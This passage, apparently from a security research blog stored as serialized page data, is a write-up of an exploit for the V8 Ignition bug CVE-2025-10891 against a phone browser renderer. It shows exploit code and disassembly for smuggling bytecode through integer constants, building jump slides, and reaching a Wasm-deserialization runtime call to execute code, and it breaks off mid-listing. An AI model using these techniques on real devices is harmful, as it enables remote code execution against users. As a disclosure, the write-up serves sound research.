version:",{"type":19,"tag":20,"props":129540,"children":129541},{},[129542],{"type":19,"tag":1344,"props":129543,"children":129546},{"alt":129544,"src":129545},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":19,"tag":20,"props":129548,"children":129549},{},[129550,129552,129558],{"type":24,"value":129551},"Surprisingly, this ",{"type":19,"tag":27,"props":129553,"children":129555},{"className":129554},[],[129556],{"type":24,"value":129557},"13.6.233.10",{"type":24,"value":129559}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":19,"tag":7050,"props":129561,"children":129563},{"id":129562},"choosing-the-bug",[129564],{"type":24,"value":129565},"Choosing the Bug",{"type":19,"tag":20,"props":129567,"children":129568},{},[129569,129571,129577],{"type":24,"value":129570},"We were able to trigger a couple of bugs on our locally compiled ",{"type":19,"tag":27,"props":129572,"children":129574},{"className":129573},[],[129575],{"type":24,"value":129576},"d8",{"type":24,"value":129578}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":19,"tag":20,"props":129580,"children":129581},{},[129582,129584,129591],{"type":24,"value":129583},"Another one was ",{"type":19,"tag":269,"props":129585,"children":129588},{"href":129586,"rel":129587},"https://issuetracker.google.com/issues/443875388",[273],[129589],{"type":24,"value":129590},"CVE-2025-10891",{"type":24,"value":129592}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":19,"tag":36,"props":129594,"children":129596},{"id":129595},"ignition-bytecode-introduction",[129597],{"type":24,"value":129598},"Ignition Bytecode Introduction",{"type":19,"tag":20,"props":129600,"children":129601},{},[129602,129604,129611],{"type":24,"value":129603},"V8 initially compiles all JS code to a bytecode format with the ",{"type":19,"tag":269,"props":129605,"children":129608},{"href":129606,"rel":129607},"https://v8.dev/blog/ignition-interpreter",[273],[129609],{"type":24,"value":129610},"Ignition",{"type":24,"value":129612}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":19,"tag":158,"props":129614,"children":129616},{"code":129615,"language":28837,"meta":7,"className":28835,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[129617],{"type":19,"tag":27,"props":129618,"children":129619},{"__ignoreMap":7},[129620,129643,129667,129691],{"type":19,"tag":168,"props":129621,"children":129622},{"class":170,"line":171},[129623,129627,129631,129635,129639],{"type":19,"tag":168,"props":129624,"children":129625},{"style":382},[129626],{"type":24,"value":9232},{"type":19,"tag":168,"props":129628,"children":129629},{"style":393},[129630],{"type":24,"value":87325},{"type":19,"tag":168,"props":129632,"children":129633},{"style":399},[129634],{"type":24,"value":402},{"type":19,"tag":168,"props":129636,"children":129637},{"style":192},[129638],{"type":24,"value":1954},{"type":19,"tag":168,"props":129640,"children":129641},{"style":212},[129642],{"type":24,"value":412},{"type":19,"tag":168,"props":129644,"children":129645},{"class":170,"line":198},[129646,129650,129654,129658,129663],{"type":19,"tag":168,"props":129647,"children":129648},{"style":382},[129649],{"type":24,"value":9232},{"type":19,"tag":168,"props":129651,"children":129652},{"style":393},[129653],{"type":24,"value":88199},{"type":19,"tag":168,"props":129655,"children":129656},{"style":399},[129657],{"type":24,"value":402},{"type":19,"tag":168,"props":129659,"children":129660},{"style":192},[129661],{"type":24,"value":129662}," 0x0fff",{"type":19,"tag":168,"props":129664,"children":129665},{"style":212},[129666],{"type":24,"value":412},{"type":19,"tag":168,"props":129668,"children":129669},{"class":170,"line":415},[129670,129674,129678,129682,129687],{"type":19,"tag":168,"props":129671,"children":129672},{"style":382},[129673],{"type":24,"value":9232},{"type":19,"tag":168,"props":129675,"children":129676},{"style":393},[129677],{"type":24,"value":34920},{"type":19,"tag":168,"props":129679,"children":129680},{"style":399},[129681],{"type":24,"value":402},{"type":19,"tag":168,"props":129683,"children":129684},{"style":192},[129685],{"type":24,"value":129686}," 0x0fffffff",{"type":19,"tag":168,"props":129688,"children":129689},{"style":212},[129690],{"type":24,"value":412},{"type":19,"tag":168,"props":129692,"children":129693},{"class":170,"line":450},[129694,129698,129703,129707,129712],{"type":19,"tag":168,"props":129695,"children":129696},{"style":382},[129697],{"type":24,"value":9232},{"type":19,"tag":168,"props":129699,"children":129700},{"style":393},[129701],{"type":24,"value":129702}," d",{"type":19,"tag":168,"props":129704,"children":129705},{"style":399},[129706],{"type":24,"value":402},{"type":19,"tag":168,"props":129708,"children":129709},{"style":192},[129710],{"type":24,"value":129711}," 0xffffffff",{"type":19,"tag":168,"props":129713,"children":129714},{"style":212},[129715],{"type":24,"value":412},{"type":19,"tag":20,"props":129717,"children":129718},{},[129719],{"type":24,"value":129720},"compiles to",{"type":19,"tag":158,"props":129722,"children":129724},{"code":129723}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[129725],{"type":19,"tag":27,"props":129726,"children":129727},{"__ignoreMap":7},[129728],{"type":24,"value":129723},{"type":19,"tag":20,"props":129730,"children":129731},{},[129732],{"type":24,"value":129733},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":19,"tag":7050,"props":129735,"children":129737},{"id":129736},"cve-2025-10891",[129738],{"type":24,"value":129590},{"type":19,"tag":20,"props":129740,"children":129741},{},[129742,129744,129750,129752,129758],{"type":24,"value":129743},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":19,"tag":27,"props":129745,"children":129747},{"className":129746},[],[129748],{"type":24,"value":129749},"[start, end) => handler",{"type":24,"value":129751}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":19,"tag":27,"props":129753,"children":129755},{"className":129754},[],[129756],{"type":24,"value":129757},"handler",{"type":24,"value":129759}," is jumped to.",{"type":19,"tag":158,"props":129761,"children":129763},{"code":129762,"language":28837,"meta":7,"className":28835,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[129764],{"type":19,"tag":27,"props":129765,"children":129766},{"__ignoreMap":7},[129767,129778,129793,129808,129831],{"type":19,"tag":168,"props":129768,"children":129769},{"class":170,"line":171},[129770,129774],{"type":19,"tag":168,"props":129771,"children":129772},{"style":419},[129773],{"type":24,"value":45813},{"type":19,"tag":168,"props":129775,"children":129776},{"style":212},[129777],{"type":24,"value":691},{"type":19,"tag":168,"props":129779,"children":129780},{"class":170,"line":198},[129781,129785,129789],{"type":19,"tag":168,"props":129782,"children":129783},{"style":419},[129784],{"type":24,"value":32676},{"type":19,"tag":168,"props":129786,"children":129787},{"style":192},[129788],{"type":24,"value":1954},{"type":19,"tag":168,"props":129790,"children":129791},{"style":212},[129792],{"type":24,"value":412},{"type":19,"tag":168,"props":129794,"children":129795},{"class":170,"line":415},[129796,129800,129804],{"type":19,"tag":168,"props":129797,"children":129798},{"style":212},[129799],{"type":24,"value":44355},{"type":19,"tag":168,"props":129801,"children":129802},{"style":419},[129803],{"type":24,"value":45893},{"type":19,"tag":168,"props":129805,"children":129806},{"style":212},[129807],{"type":24,"value":691},{"type":19,"tag":168,"props":129809,"children":129810},{"class":170,"line":450},[129811,129815,129819,129823,129827],{"type":19,"tag":168,"props":129812,"children":129813},{"style":382},[129814],{"type":24,"value":5292},{"type":19,"tag":168,"props":129816,"children":129817},{"style":393},[129818],{"type":24,"value":88199},{"type":19,"tag":168,"props":129820,"children":129821},{"style":399},[129822],{"type":24,"value":402},{"type":19,"tag":168,"props":129824,"children":129825},{"style":192},[129826],{"type":24,"value":5371},{"type":19,"tag":168,"props":129828,"children":129829},{"style":212},[129830],{"type":24,"value":412},{"type":19,"tag":168,"props":129832,"children":129833},{"class":170,"line":560},[129834],{"type":19,"tag":168,"props":129835,"children":129836},{"style":212},[129837],{"type":24,"value":1326},{"type":19,"tag":158,"props":129839,"children":129841},{"code":129840}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[129842],{"type":19,"tag":27,"props":129843,"children":129844},{"__ignoreMap":7},[129845],{"type":24,"value":129840},{"type":19,"tag":20,"props":129847,"children":129848},{},[129849,129851,129856,129858,129863],{"type":24,"value":129850},"However, the ",{"type":19,"tag":27,"props":129852,"children":129854},{"className":129853},[],[129855],{"type":24,"value":129757},{"type":24,"value":129857}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":19,"tag":27,"props":129859,"children":129861},{"className":129860},[],[129862],{"type":24,"value":45893},{"type":24,"value":129864}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":19,"tag":20,"props":129866,"children":129867},{},[129868,129870,129876],{"type":24,"value":129869},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":19,"tag":27,"props":129871,"children":129873},{"className":129872},[],[129874],{"type":24,"value":129875},"yield*",{"type":24,"value":129877}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":19,"tag":36,"props":129879,"children":129881},{"id":129880},"exploitation",[129882],{"type":24,"value":129883},"Exploitation",{"type":19,"tag":7050,"props":129885,"children":129887},{"id":129886},"constant-smuggling",[129888],{"type":24,"value":129889},"Constant Smuggling",{"type":19,"tag":20,"props":129891,"children":129892},{},[129893,129895,129902],{"type":24,"value":129894},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":19,"tag":269,"props":129896,"children":129899},{"href":129897,"rel":129898},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[273],[129900],{"type":24,"value":129901},"technique",{"type":24,"value":129903}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":19,"tag":158,"props":129905,"children":129907},{"code":129906,"language":28837,"meta":7,"className":28835,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[129908],{"type":19,"tag":27,"props":129909,"children":129910},{"__ignoreMap":7},[129911,129939,129966,129993],{"type":19,"tag":168,"props":129912,"children":129913},{"class":170,"line":171},[129914,129918,129922,129926,129930,129935],{"type":19,"tag":168,"props":129915,"children":129916},{"style":382},[129917],{"type":24,"value":9232},{"type":19,"tag":168,"props":129919,"children":129920},{"style":393},[129921],{"type":24,"value":87325},{"type":19,"tag":168,"props":129923,"children":129924},{"style":399},[129925],{"type":24,"value":402},{"type":19,"tag":168,"props":129927,"children":129928},{"style":399},[129929],{"type":24,"value":48738},{"type":19,"tag":168,"props":129931,"children":129932},{"style":192},[129933],{"type":24,"value":129934},"9.255963134931783e61",{"type":19,"tag":168,"props":129936,"children":129937},{"style":212},[129938],{"type":24,"value":412},{"type":19,"tag":168,"props":129940,"children":129941},{"class":170,"line":198},[129942,129946,129950,129954,129958,129962],{"type":19,"tag":168,"props":129943,"children":129944},{"style":382},[129945],{"type":24,"value":9232},{"type":19,"tag":168,"props":129947,"children":129948},{"style":393},[129949],{"type":24,"value":88199},{"type":19,"tag":168,"props":129951,"children":129952},{"style":399},[129953],{"type":24,"value":402},{"type":19,"tag":168,"props":129955,"children":129956},{"style":399},[129957],{"type":24,"value":48738},{"type":19,"tag":168,"props":129959,"children":129960},{"style":192},[129961],{"type":24,"value":129934},{"type":19,"tag":168,"props":129963,"children":129964},{"style":212},[129965],{"type":24,"value":412},{"type":19,"tag":168,"props":129967,"children":129968},{"class":170,"line":415},[129969,129973,129977,129981,129985,129989],{"type":19,"tag":168,"props":129970,"children":129971},{"style":382},[129972],{"type":24,"value":9232},{"type":19,"tag":168,"props":129974,"children":129975},{"style":393},[129976],{"type":24,"value":34920},{"type":19,"tag":168,"props":129978,"children":129979},{"style":399},[129980],{"type":24,"value":402},{"type":19,"tag":168,"props":129982,"children":129983},{"style":399},[129984],{"type":24,"value":48738},{"type":19,"tag":168,"props":129986,"children":129987},{"style":192},[129988],{"type":24,"value":129934},{"type":19,"tag":168,"props":129990,"children":129991},{"style":212},[129992],{"type":24,"value":412},{"type":19,"tag":168,"props":129994,"children":129995},{"class":170,"line":450},[129996,130000,130004,130008,130012,130016],{"type":19,"tag":168,"props":129997,"children":129998},{"style":382},[129999],{"type":24,"value":9232},{"type":19,"tag":168,"props":130001,"children":130002},{"style":393},[130003],{"type":24,"value":129702},{"type":19,"tag":168,"props":130005,"children":130006},{"style":399},[130007],{"type":24,"value":402},{"type":19,"tag":168,"props":130009,"children":130010},{"style":399},[130011],{"type":24,"value":48738},{"type":19,"tag":168,"props":130013,"children":130014},{"style":192},[130015],{"type":24,"value":129934},{"type":19,"tag":168,"props":130017,"children":130018},{"style":212},[130019],{"type":24,"value":412},{"type":19,"tag":20,"props":130021,"children":130022},{},[130023],{"type":24,"value":130024},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":19,"tag":20,"props":130026,"children":130027},{},[130028],{"type":24,"value":130029},"We'll use a similar principle here, although much more limited. With",{"type":19,"tag":158,"props":130031,"children":130033},{"code":130032},"let a = 0x0693bebe;\n",[130034],{"type":19,"tag":27,"props":130035,"children":130036},{"__ignoreMap":7},[130037],{"type":24,"value":130032},{"type":19,"tag":20,"props":130039,"children":130040},{},[130041],{"type":24,"value":130042},"We will compile the bytecode:",{"type":19,"tag":158,"props":130044,"children":130046},{"code":130045},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[130047],{"type":19,"tag":27,"props":130048,"children":130049},{"__ignoreMap":7},[130050],{"type":24,"value":130045},{"type":19,"tag":20,"props":130052,"children":130053},{},[130054,130056,130062,130064,130070,130071,130077],{"type":24,"value":130055},"We can then jump to the 3rd byte (",{"type":19,"tag":27,"props":130057,"children":130059},{"className":130058},[],[130060],{"type":24,"value":130061},"0xbe",{"type":24,"value":130063},"), and gain 2 controlled bytes of execution, followed by ",{"type":19,"tag":27,"props":130065,"children":130067},{"className":130066},[],[130068],{"type":24,"value":130069},"0x93 0x02 - 0xf",{"type":24,"value":461},{"type":19,"tag":27,"props":130072,"children":130074},{"className":130073},[],[130075],{"type":24,"value":130076},"Jump +[2-15]",{"type":24,"value":130078},") to jump into the next constant.",{"type":19,"tag":20,"props":130080,"children":130081},{},[130082,130084,130090,130092,130098,130100,130106],{"type":24,"value":130083},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":19,"tag":27,"props":130085,"children":130087},{"className":130086},[],[130088],{"type":24,"value":130089},"StarX",{"type":24,"value":130091}," instructions, registers 16-121 resulted in two bytes ",{"type":19,"tag":27,"props":130093,"children":130095},{"className":130094},[],[130096],{"type":24,"value":130097},"Star rX",{"type":24,"value":130099}," instructions, and the next batch resulted in 4 byte ",{"type":19,"tag":27,"props":130101,"children":130103},{"className":130102},[],[130104],{"type":24,"value":130105},"Star.ExtraWide rX",{"type":24,"value":130107}," instructions.",{"type":19,"tag":20,"props":130109,"children":130110},{},[130111,130113,130119],{"type":24,"value":130112},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":19,"tag":27,"props":130114,"children":130116},{"className":130115},[],[130117],{"type":24,"value":130118},"0x8931111",{"type":24,"value":1922},{"type":19,"tag":158,"props":130121,"children":130123},{"code":130122,"language":28837,"meta":7,"className":28835,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[130124],{"type":19,"tag":27,"props":130125,"children":130126},{"__ignoreMap":7},[130127,130152,130176,130200,130224,130248,130272],{"type":19,"tag":168,"props":130128,"children":130129},{"class":170,"line":171},[130130,130134,130139,130143,130148],{"type":19,"tag":168,"props":130131,"children":130132},{"style":382},[130133],{"type":24,"value":9232},{"type":19,"tag":168,"props":130135,"children":130136},{"style":393},[130137],{"type":24,"value":130138}," a206",{"type":19,"tag":168,"props":130140,"children":130141},{"style":399},[130142],{"type":24,"value":402},{"type":19,"tag":168,"props":130144,"children":130145},{"style":192},[130146],{"type":24,"value":130147}," 0x8931111",{"type":19,"tag":168,"props":130149,"children":130150},{"style":212},[130151],{"type":24,"value":412},{"type":19,"tag":168,"props":130153,"children":130154},{"class":170,"line":198},[130155,130159,130164,130168,130172],{"type":19,"tag":168,"props":130156,"children":130157},{"style":382},[130158],{"type":24,"value":9232},{"type":19,"tag":168,"props":130160,"children":130161},{"style":393},[130162],{"type":24,"value":130163}," a207",{"type":19,"tag":168,"props":130165,"children":130166},{"style":399},[130167],{"type":24,"value":402},{"type":19,"tag":168,"props":130169,"children":130170},{"style":192},[130171],{"type":24,"value":130147},{"type":19,"tag":168,"props":130173,"children":130174},{"style":212},[130175],{"type":24,"value":412},{"type":19,"tag":168,"props":130177,"children":130178},{"class":170,"line":415},[130179,130183,130188,130192,130196],{"type":19,"tag":168,"props":130180,"children":130181},{"style":382},[130182],{"type":24,"value":9232},{"type":19,"tag":168,"props":130184,"children":130185},{"style":393},[130186],{"type":24,"value":130187}," a208",{"type":19,"tag":168,"props":130189,"children":130190},{"style":399},[130191],{"type":24,"value":402},{"type":19,"tag":168,"props":130193,"children":130194},{"style":192},[130195],{"type":24,"value":130147},{"type":19,"tag":168,"props":130197,"children":130198},{"style":212},[130199],{"type":24,"value":412},{"type":19,"tag":168,"props":130201,"children":130202},{"class":170,"line":450},[130203,130207,130212,130216,130220],{"type":19,"tag":168,"props":130204,"children":130205},{"style":382},[130206],{"type":24,"value":9232},{"type":19,"tag":168,"props":130208,"children":130209},{"style":393},[130210],{"type":24,"value":130211}," a209",{"type":19,"tag":168,"props":130213,"children":130214},{"style":399},[130215],{"type":24,"value":402},{"type":19,"tag":168,"props":130217,"children":130218},{"style":192},[130219],{"type":24,"value":130147},{"type":19,"tag":168,"props":130221,"children":130222},{"style":212},[130223],{"type":24,"value":412},{"type":19,"tag":168,"props":130225,"children":130226},{"class":170,"line":560},[130227,130231,130236,130240,130244],{"type":19,"tag":168,"props":130228,"children":130229},{"style":382},[130230],{"type":24,"value":9232},{"type":19,"tag":168,"props":130232,"children":130233},{"style":393},[130234],{"type":24,"value":130235}," a210",{"type":19,"tag":168,"props":130237,"children":130238},{"style":399},[130239],{"type":24,"value":402},{"type":19,"tag":168,"props":130241,"children":130242},{"style":192},[130243],{"type":24,"value":130147},{"type":19,"tag":168,"props":130245,"children":130246},{"style":212},[130247],{"type":24,"value":412},{"type":19,"tag":168,"props":130249,"children":130250},{"class":170,"line":666},[130251,130255,130260,130264,130268],{"type":19,"tag":168,"props":130252,"children":130253},{"style":382},[130254],{"type":24,"value":9232},{"type":19,"tag":168,"props":130256,"children":130257},{"style":393},[130258],{"type":24,"value":130259}," a211",{"type":19,"tag":168,"props":130261,"children":130262},{"style":399},[130263],{"type":24,"value":402},{"type":19,"tag":168,"props":130265,"children":130266},{"style":192},[130267],{"type":24,"value":130147},{"type":19,"tag":168,"props":130269,"children":130270},{"style":212},[130271],{"type":24,"value":412},{"type":19,"tag":168,"props":130273,"children":130274},{"class":170,"line":694},[130275,130279,130284,130288,130292],{"type":19,"tag":168,"props":130276,"children":130277},{"style":382},[130278],{"type":24,"value":9232},{"type":19,"tag":168,"props":130280,"children":130281},{"style":393},[130282],{"type":24,"value":130283}," a212",{"type":19,"tag":168,"props":130285,"children":130286},{"style":399},[130287],{"type":24,"value":402},{"type":19,"tag":168,"props":130289,"children":130290},{"style":192},[130291],{"type":24,"value":130147},{"type":19,"tag":168,"props":130293,"children":130294},{"style":212},[130295],{"type":24,"value":412},{"type":19,"tag":20,"props":130297,"children":130298},{},[130299],{"type":24,"value":130300},"Those instructions result in:",{"type":19,"tag":158,"props":130302,"children":130304},{"code":130303},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[130305],{"type":19,"tag":27,"props":130306,"children":130307},{"__ignoreMap":7},[130308],{"type":24,"value":130303},{"type":19,"tag":20,"props":130310,"children":130311},{},[130312,130314,130320,130322,130326],{"type":24,"value":130313},"(The offset of ",{"type":19,"tag":27,"props":130315,"children":130317},{"className":130316},[],[130318],{"type":24,"value":130319},"Jump",{"type":24,"value":130321}," instructions is added to the ",{"type":19,"tag":293,"props":130323,"children":130324},{},[130325],{"type":24,"value":68578},{"type":24,"value":130327}," of the instruction.)",{"type":19,"tag":20,"props":130329,"children":130330},{},[130331,130333,130339],{"type":24,"value":130332},"Now, 3 out of the 6 bytes in a ",{"type":19,"tag":27,"props":130334,"children":130336},{"className":130335},[],[130337],{"type":24,"value":130338},"LdaSmi.ExtraWide",{"type":24,"value":130340}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":19,"tag":7050,"props":130342,"children":130344},{"id":130343},"exploit-goal",[130345],{"type":24,"value":130346},"Exploit Goal",{"type":19,"tag":20,"props":130348,"children":130349},{},[130350,130352,130358,130359,130365],{"type":24,"value":130351},"Initially we considered using ",{"type":19,"tag":27,"props":130353,"children":130355},{"className":130354},[],[130356],{"type":24,"value":130357},"Star",{"type":24,"value":2012},{"type":19,"tag":27,"props":130360,"children":130362},{"className":130361},[],[130363],{"type":24,"value":130364},"Ldar",{"type":24,"value":130366}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":19,"tag":20,"props":130368,"children":130369},{},[130370,130372,130379],{"type":24,"value":130371},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":19,"tag":269,"props":130373,"children":130376},{"href":130374,"rel":130375},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[273],[130377],{"type":24,"value":130378},"stack pivot and ROP",{"type":24,"value":130380},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":19,"tag":20,"props":130382,"children":130383},{},[130384],{"type":24,"value":130385},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":19,"tag":20,"props":130387,"children":130388},{},[130389],{"type":24,"value":130390},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":19,"tag":20,"props":130392,"children":130393},{},[130394,130396,130402,130404,130410,130412,130418],{"type":24,"value":130395},"At this point, we identified an interesting opcode: ",{"type":19,"tag":27,"props":130397,"children":130399},{"className":130398},[],[130400],{"type":24,"value":130401},"CallRuntime",{"type":24,"value":130403},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":19,"tag":27,"props":130405,"children":130407},{"className":130406},[],[130408],{"type":24,"value":130409},"--allow-natives-syntax",{"type":24,"value":130411}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":19,"tag":27,"props":130413,"children":130415},{"className":130414},[],[130416],{"type":24,"value":130417},"DeserializeWasmModule",{"type":24,"value":948},{"type":19,"tag":20,"props":130420,"children":130421},{},[130422,130424,130431,130432,130437,130438,130444,130446,130453],{"type":24,"value":130423},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":19,"tag":269,"props":130425,"children":130428},{"href":130426,"rel":130427},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[273],[130429],{"type":24,"value":130430},"JIT-compiled functions",{"type":24,"value":15983},{"type":19,"tag":27,"props":130433,"children":130435},{"className":130434},[],[130436],{"type":24,"value":130417},{"type":24,"value":2012},{"type":19,"tag":27,"props":130439,"children":130441},{"className":130440},[],[130442],{"type":24,"value":130443},"SerializeWasmModule",{"type":24,"value":130445}," themselves are only used from test functions, and indeed have been ",{"type":19,"tag":269,"props":130447,"children":130450},{"href":130448,"rel":130449},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[273],[130451],{"type":24,"value":130452},"removed",{"type":24,"value":130454}," from recent production V8 builds due to how abusable this functionality is.",{"type":19,"tag":20,"props":130456,"children":130457},{},[130458,130460,130466,130468,130474,130476,130481,130483,130489,130491,130496,130497,130502,130503,130508,130510,130516,130518,130522],{"type":24,"value":130459},"However, calling this opcode represented a significant challenge:\n",{"type":19,"tag":27,"props":130461,"children":130463},{"className":130462},[],[130464],{"type":24,"value":130465},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":24,"value":130467},"\nWhere ",{"type":19,"tag":27,"props":130469,"children":130471},{"className":130470},[],[130472],{"type":24,"value":130473},"func-id",{"type":24,"value":130475}," is a 2-byte function ID, ",{"type":19,"tag":27,"props":130477,"children":130479},{"className":130478},[],[130480],{"type":24,"value":35703},{"type":24,"value":130482}," is the index of the last register passed and ",{"type":19,"tag":27,"props":130484,"children":130486},{"className":130485},[],[130487],{"type":24,"value":130488},"argc",{"type":24,"value":130490}," is the number of arguments passed (e.g. passing ",{"type":19,"tag":27,"props":130492,"children":130494},{"className":130493},[],[130495],{"type":24,"value":41861},{"type":24,"value":471},{"type":19,"tag":27,"props":130498,"children":130500},{"className":130499},[],[130501],{"type":24,"value":42004},{"type":24,"value":8436},{"type":19,"tag":27,"props":130504,"children":130506},{"className":130505},[],[130507],{"type":24,"value":41987},{"type":24,"value":130509}," would be encoded as ",{"type":19,"tag":27,"props":130511,"children":130513},{"className":130512},[],[130514],{"type":24,"value":130515},"\u003Cr2> \u003C3>",{"type":24,"value":130517},").\nThis requires ",{"type":19,"tag":293,"props":130519,"children":130520},{},[130521],{"type":24,"value":15559},{"type":24,"value":130523}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":19,"tag":7050,"props":130525,"children":130527},{"id":130526},"better-bytecode-control",[130528],{"type":24,"value":130529},"Better Bytecode Control",{"type":19,"tag":20,"props":130531,"children":130532},{},[130533,130535,130542,130544,130550],{"type":24,"value":130534},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":19,"tag":269,"props":130536,"children":130539},{"href":130537,"rel":130538},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[273],[130540],{"type":24,"value":130541},"feedback vector slot",{"type":24,"value":130543},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":19,"tag":27,"props":130545,"children":130547},{"className":130546},[],[130548],{"type":24,"value":130549},"AddSmi",{"type":24,"value":130551}," instruction, it represents the number of operations performed on the target value so far.",{"type":19,"tag":20,"props":130553,"children":130554},{},[130555],{"type":24,"value":130556},"For example, we can look at the below Ignition disassembly:",{"type":19,"tag":158,"props":130558,"children":130560},{"code":130559},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[130561],{"type":19,"tag":27,"props":130562,"children":130563},{"__ignoreMap":7},[130564],{"type":24,"value":130559},{"type":19,"tag":20,"props":130566,"children":130567},{},[130568,130570,130576],{"type":24,"value":130569},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":19,"tag":27,"props":130571,"children":130573},{"className":130572},[],[130574],{"type":24,"value":130575},"AddSmi.ExtraWide",{"type":24,"value":130577},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":19,"tag":20,"props":130579,"children":130580},{},[130581],{"type":24,"value":130582},"Eventually, we can reach a stage like this:",{"type":19,"tag":158,"props":130584,"children":130586},{"code":130585},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], 